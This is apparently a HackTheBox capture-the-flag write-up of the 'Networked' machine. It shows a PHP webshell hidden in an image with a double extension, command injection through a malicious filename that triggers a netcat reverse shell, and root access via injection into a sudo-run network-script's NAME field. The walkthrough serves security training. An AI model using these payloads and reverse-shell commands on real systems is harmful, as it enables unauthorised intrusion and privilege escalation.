HackTheBox - Networked
Networked was an interesting box. Focused on coding mistakes rather than exploit or misconfiguration.
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.146 networked.htb" >> /etc/hosts |
Let’s go !
User Flag
Recon
Let’s start with the classic nmap
scan:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC networked.htb |
Seems like we have something super classical: A http (port 80) and SSH (port 22) service open.
Opening http://networked.htb display the following message :
Hello mate, we’re building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse
No useful informations in this message. Let’s continue our recon phase with a HTTP enumeration.
As usual use gobuster
. I add the -x php
parameter to make sure we get all files with this extension :
1 | [hg8@archbook ~]$ gobuster dir -u http://networked.htb -w ~/SecLists/Discovery/Web-Content/big.txt -x php |
The /backup
endpoint is promising. Once opening it we find an archive :
Let’s download it and check what’s inside:
1 | [hg8@archbook ~]$ wget http://networked.htb/backup/backup.tar |
It’s a backup of the website. Seems like gobuster
did a good job since it already found each of those files.
Upon investigating the file we find that upload.php
is …well… a upload page. It accepts only image and part of the code that check the validity of the sent file is written in lib.php
alongside various functions.
photos.php
is used to display uploaded images.
First thing that come to mind here is to try to upload a php webshell through the upload.php
page. Let’s check the rules that validate if a file is valid or not :
1 | if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) { |
1 | function check_file_type($file) { |
The first check consist in a MIME type check of the file. If the file MIME type doesn’t contain image/
it will be defined as invalid.
This check means that the image will be validated locally, so no request edition will help to smuggle a PHP Shell (by editing Content-Type
header for example).
Scrolling through the code we notice a second check :
1 | $validext = array('.jpg', '.png', '.gif', '.jpeg'); |
This one check do compare the end of the filename to see if it end with the common .jpg
, .png
, .gif
and .jpeg
. If not, the file is defined invalid and not uploaded.
Alright, with all those information in mind let’s try to craft one malicious image :)
File upload vulnerability
Bypass First Check: MIME Type
The easiest way to do so is to take a valid image and append the malicious content at the end of the file. It can be done in various way. Here how I did:
1 | [hg8@archbook ~]$ # Download most basic jpg image possible |
Bypass Second Check: File extension**
A common vulnerability in php file upload form is the “double extension” :
In Apache, a php file might be executed using the double extension technique such as “file.php.jpg.
Unrestricted File Upload
And that’s exactly what we are going to do. The second check will pass because our file extension will be .jpg
but the php code inside will still get executed:
1 | [hg8@archbook ~]$ mv hg8.jpg hg8.php.jpg |
We are ready to upload now! Everything seems to went fine since we get the following message : file uploaded, refresh gallery
. The gallery is the photos.php
endpoint. Opening this page display a list of recently uploaded files and one with the .php.jpg
extension get the attention.
In the upload.php
file we got information about the location of stored images :
1 | define("UPLOAD_DIR", "/var/www/html/uploads/"); |
We have the location of the upload folder and the name of the file. Let’s open it ! Mine is at http://networked.htb/uploads/10_10_15_101.php.jpg
Pivot PHP Webshell -> guly
Now that we have a working process let’s replace the phpinfo()
by a webshell and we can easily land a shell running as apache
user :
1 | networked.htb:/var/www/html/uploads $ id |
The first thing I do after landing a webshell is to check the /etc/password
file to find the user we will need to pivot to for finding our flag.
1 | networked.htb:/var/www/html/uploads $ cat /etc/passwd |
Beside root
the only user to have a shell setup is guly
. It’s our new target ;)
First we will check if guly
have any interesting file in his home folder :
1 | $ ls -l /home/guly |
The flag is indeed there upon various other files.
We can see two interresting files in guly
home foler. A crontab file and a php script :
1 | $ cat /home/guly/crontab.guly |
The cronjob run the check_attack.php
script every 3 minutes.
We don’t have write access to the script so we are not able to edit it to inject command. Since we have read access let’s investigate to see if we can find a vulnerability in the runtime :
1 |
|
Three exec
calls, we will surely find a way to inject something…
First exec (exec("rm -f $logpath");)
can’t do anything since $logpath
is harcoded.
Second exec (exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
is already more interesting. Reading thought the code we understand that $value
is dynamically fetched from the filenames of files present in the /var/www/html/uploads/
folder.
For example with our previously uploaded image file (hg8.php.jpg
) the executed command will be :
1 | exec("nohup /bin/rm -f /var/www/html/uploads/hg8.php.jpg > /dev/null 2>&1 &"); |
So if we are a file named, for example, ; sleep 5 ;
here is what the executed command will be:
1 | exec("nohup /bin/rm -f /var/www/html/uploads/; sleep 5 ; > /dev/null 2>&1 &"); |
Since we have write access to the /var/www/html/uploads/
folder let’s try it out with a reverse shell.
Firstly let’s open our listener :
1 | [hg8@archbook ~]$ nc -l -vv -p 8544 |
And let’s create our ‘malicious’ file :
1 | networked.htb:/var/www/html/uploads$ touch "; nc 10.10.10.10 8544 -c bash ;" |
We wait a little bit for the cronjob to run and surely a new connection open on our listener :
1 | [hg8@archbook ~]$ nc -l -vv -p 8544 |
Root Flag
Recon
To make the recon task easier, we are going to use the Linux enumeration tool. For the transfer of the script we will setup a simple http server on our attacking machine:
1 | [hg8@archbook ~]$ wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh |
Let’s run the script to see if we can find anything intesrresting :
1 | [guly@networked]$ bash /tmp/lse.sh |
We notice a very interesting configuration here. The script /usr/local/sbin/changename.sh
can be run as root
without password through sudo. If we can edit or find a flaw in this script it will be our pass to the root flag.
1 | [guly@networked tmp]$ ls -l /usr/local/sbin/changename.sh |
Without surprise we can not write in the file. Let’s investigate to check if we can find a flow in it’s working.
1 | [guly@networked]$ cat /usr/local/sbin/changename.sh |
The script take various user input to set them in a network configuration file /etc/sysconfig/network-scripts/ifcfg-guly
. At the end the /sbin/ifup guly0
apply the new configuration.
network-script privilege escalation
This one was new for me, while searching for informations about network-script
I stumbled across this SecList
:
Redhat/CentOS root through network-scripts
If, for whatever reason, a user is able to write an ifcf-script to /etc/sysconfig/network-scripts or it can
adjust an existing one, then your system in pwned.
In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in
the name the system tries to execute the part after the white/blank space. Which means; everything after the first
blank space is executed as root.For example:
/etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id <= Note the blank space
ONBOOT=yes
DEVICE=eth0Yes, any script in that folder is executed by root because of the sourcing technique.
Sounds exactly what we need since the changename.sh
script edit the NAME
value with user input string. And now I understand why the Networked
name was chosen.
Let’s give it a try. First we open a new listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8599 |
1 | [guly@networked]$ sudo /usr/local/sbin/changename.sh |
Alright, that couldn’t be that easy… The input is filtered. The rule is the following:
1 | regexp="^[a-zA-Z0-9_\ /-]+$" |
This regex doesn’t seems that bad, we can still use _
, spaces, /
and -
. To be honest at this point it gets really easy to overthink the solution which is quite simple in the end.
Call to an external script should perfectly work:
1 | [guly@networked]$ echo "nc -e /bin/sh 10.10.10.10 8599" > /tmp/hg8 |
And bingo, a connection open on our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8599 |
I had a lot of fun with this box and learned a few new things. I hope this writeup could help you too.
As always do not hesitate to contact me for any questions or feedbacks!
See you next time !
-hg8